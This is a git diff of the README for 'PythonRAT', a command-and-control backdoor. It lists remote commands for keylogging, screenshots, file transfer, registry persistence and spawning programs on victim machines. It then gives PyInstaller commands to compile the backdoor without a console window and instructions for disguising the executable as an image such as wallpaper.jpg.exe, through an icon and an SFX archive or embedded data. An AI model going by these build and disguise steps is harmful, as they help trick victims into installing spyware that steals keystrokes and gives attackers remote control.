@@ -40,14 +40,17 @@ PythonRAT is a Command and Control (C2) server which can control multiple machin
40
40
cd *Directory name* --> Changes Directory On Target System
41
41
upload *file name* --> Upload File To The Target Machine From Working Dir
42
42
download *file name* --> Download File From Target Machine
43
- get *url* --> Download File From Specified URL
43
+ get *url* --> Download File From Specified URL to Target ./
44
44
keylog_start --> Start The Keylogger
45
45
keylog_dump --> Print Keystrokes That The Target From taskmanager.txt
46
46
keylog_stop --> Stop And Self Destruct Keylogger File
47
- persistence *RegName* *filename* --> Create Persistence In Registry (Windows)
48
- check --> Check If Has Administrator Privileges (Windows)
49
47
screenshot --> Takes screenshot and sends to server ./screenshots/
48
+ start *programName* --> Spawn Program Using backdoor e.g. 'start notepad'
50
49
remove_backdoor --> Removes backdoor from target!!!
50
+
51
+ ===Windows Only===
52
+ persistence *RegName* *filename* --> Create Persistence In Registry
53
+ check --> Check If Has Administrator Privileges
51
54
52
55
# Wine and Pyinstaller (Win version) Installation on Linux
53
56
91
94
92
95
# wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole ~/backdoor.py
93
96
97
+ ** alternatively** if an _ icon_ has already been created,
98
+
99
+ # wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --icon ~ /malware_128x128.ico ~ /backdoor.py
100
+
94
101
This will produce _ ./dist/backdoor.exe_
95
102
96
103
97
- ** Obfuscation using SFX archive **
104
+ ** Obfuscation using SFX Archive (Theory) **
98
105
99
106
The executable _ backdoor.exe_ will be made to look like an image (jpg) file.
100
107
By default Windows does not show file extensions (e.g. backdoor.exe will show in Windows Explorer as backdoor).
101
108
Hence, we will create an SFX archive name _ wallpaper.jpg.exe_ which Windows Explorer will show as _ wallpaper.jpg_ .
102
109
103
- This will involve having image.jpg which we will also create an icon version of _ .ico_ to assign the SFX archive.
110
+ This will involve having an _ image _ which we will also create an icon version of _ .ico_ to assign the SFX archive.
104
111
Making the executable appear to be an image.
105
112
106
- ** Creating SFX archive**
113
+ Of course this same method could be applied to audio, document or video file using an appopriate icon.
114
+
115
+ ** NOTE: SFX Archive**
116
+
117
+ SFX archive is not the only method of obfuscating the executable.
118
+ We can when compiling using _ Pyinstaller_ add the argument _ --add-data "/root/wallpaper.jpg;."_ with
119
+ _ --icon ~ /wallpaper.ico_ .
120
+
121
+ # wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --add-data "/root/wallpaper.jpg;." --icon ~/malware_128x128.ico ~/backdoor.py
122
+ # mv ./dist/_backdoor.exe_ ./dist/_wallpaper.jpg.exe_
123
+
124
+
125
+ ** Creating SFX Archive**
107
126
108
127
WinRAR > Add To Archive (image.jpg and backdoor.exe)
109
128
0 commit comments